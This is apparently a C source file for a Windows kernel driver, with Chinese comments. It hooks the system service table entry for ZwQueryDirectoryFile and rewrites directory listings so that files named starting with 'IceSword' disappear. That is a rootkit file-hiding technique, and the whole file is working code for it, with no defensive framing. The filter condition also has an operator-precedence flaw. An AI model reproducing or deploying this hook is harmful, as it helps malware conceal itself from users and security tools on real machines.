#include "ntddk.h"
#include <windef.h>
#pragma pack(1) //SSDT Table
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath);
VOID Unload(IN PDRIVER_OBJECT DriverObject);
//取代的新函数
NTSTATUS NTAPI NewZwQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileMask OPTIONAL,
IN BOOLEAN RestartScan );
//API 声明
NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileMask OPTIONAL,
IN BOOLEAN RestartScan );
typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileMask OPTIONAL,
IN BOOLEAN RestartScan );
typedef struct _FILE_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
typedef struct _FILE_FULL_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;
typedef struct _FILE_ID_FULL_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
LARGE_INTEGER FileId;
WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;
typedef struct _FILE_BOTH_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR ShortNameLength;
WCHAR ShortName[12];
WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR ShortNameLength;
WCHAR ShortName[12];
LARGE_INTEGER FileId;
WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;
typedef struct _FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
//源地址
ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile = NULL;
DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset);
PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
#include "Hidefile.h"
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
DriverObject->DriverUnload = Unload;
KdPrint(("Driver Entry Called!/n"));
KdPrint(("OldAddress:0x%X/tNewAddress:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile),NewZwQueryDirectoryFile));
OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile);
(ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = NewZwQueryDirectoryFile;
return ntStatus;
}
VOID Unload(IN PDRIVER_OBJECT DriverObject)
{
KdPrint(("Driver Unload Called!/n"));
(ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = OldZwQueryDirectoryFile;
KdPrint(("Address:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile)));
return;
}
DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
DWORD result = 0;
switch(FileInfo){
case FileDirectoryInformation:
result = ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset;
break;
case FileFullDirectoryInformation:
result = ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
break;
case FileIdFullDirectoryInformation:
result = ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
break;
case FileBothDirectoryInformation:
result = ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
break;
case FileIdBothDirectoryInformation:
result = ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
break;
case FileNamesInformation:
result = ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset;
break;
}
return result;
}
void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset)
{
switch(FileInfo){
case FileDirectoryInformation:
((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset = Offset;
break;
case FileFullDirectoryInformation:
((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
case FileIdFullDirectoryInformation:
((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
case FileBothDirectoryInformation:
((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
case FileIdBothDirectoryInformation:
((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
case FileNamesInformation:
((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset = Offset;
break;
}
}
PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
PVOID result = 0;
switch(FileInfo){
case FileDirectoryInformation:
result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)pData)->FileName[0];
break;
case FileFullDirectoryInformation:
result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)pData)->FileName[0];
break;
case FileIdFullDirectoryInformation:
result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileName[0];
break;
case FileBothDirectoryInformation:
result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)pData)->FileName[0];
break;
case FileIdBothDirectoryInformation:
result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileName[0];
break;
case FileNamesInformation:
result =(PVOID)&((PFILE_NAMES_INFORMATION)pData)->FileName[0];
break;
}
return result;
}
ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
ULONG result = 0;
switch(FileInfo){
case FileDirectoryInformation:
result = (ULONG)((PFILE_DIRECTORY_INFORMATION)pData)->FileNameLength;
break;
case FileFullDirectoryInformation:
result =(ULONG)((PFILE_FULL_DIR_INFORMATION)pData)->FileNameLength;
break;
case FileIdFullDirectoryInformation:
result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileNameLength;
break;
case FileBothDirectoryInformation:
result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)pData)->FileNameLength;
break;
case FileIdBothDirectoryInformation:
result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileNameLength;
break;
case FileNamesInformation:
result =(ULONG)((PFILE_NAMES_INFORMATION)pData)->FileNameLength;
break;
}
return result;
}
NTSTATUS NTAPI NewZwQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileMask OPTIONAL,
IN BOOLEAN RestartScan )
{
NTSTATUS ntStatus = OldZwQueryDirectoryFile(
FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
FileInformation,
Length,
FileInformationClass,
ReturnSingleEntry,
FileMask,
RestartScan);
if(NT_SUCCESS(ntStatus) &&
FileInformationClass == FileDirectoryInformation ||
FileInformationClass == FileFullDirectoryInformation ||
FileInformationClass == FileIdFullDirectoryInformation ||
FileInformationClass == FileBothDirectoryInformation ||
FileInformationClass == FileIdBothDirectoryInformation ||
FileInformationClass == FileNamesInformation
)
{
PVOID p = FileInformation;
PVOID pLast = NULL;
DWORD pLastOne = 0;
KdPrint(("<--------/n"));
do{
pLastOne = GetNextEntryOffset(p,FileInformationClass);
KdPrint(("[*]Last:0x%x/tCurrent:0x%x/tpLastOne:%ld/n",pLast,p,pLastOne));
if(RtlCompareMemory(GetEntryFileName(p,FileInformationClass), L"IceSword", 16 ) == 16 )
{
KdPrint(("[-]Hide...../n"));
if(pLastOne == 0)
{
if (p == FileInformation)
ntStatus = STATUS_NO_MORE_FILES;
else
SetNextEntryOffset(pLast,FileInformationClass, 0);
break;
}
else
{
int iPos = ((ULONG)p) - (ULONG)FileInformation;
int iLeft = (DWORD)Length - iPos - pLastOne;
RtlCopyMemory(p,(PVOID)((char*)p + pLastOne),(DWORD)iLeft);
KdPrint(("iPos:%ld/tLength:%ld/tiLeft:%ld/t,NextOffset:%ld/tpLastOne:%ld/tCurrent:0x%x/n",
iPos,Length,iLeft,GetNextEntryOffset(p,FileInformationClass),pLastOne,p));
continue;
}
}
pLast = p;
p = ((char*)p + GetNextEntryOffset(p,FileInformationClass));
}while (pLastOne != 0);
KdPrint(("-------->/n"));
}
return ntStatus;
}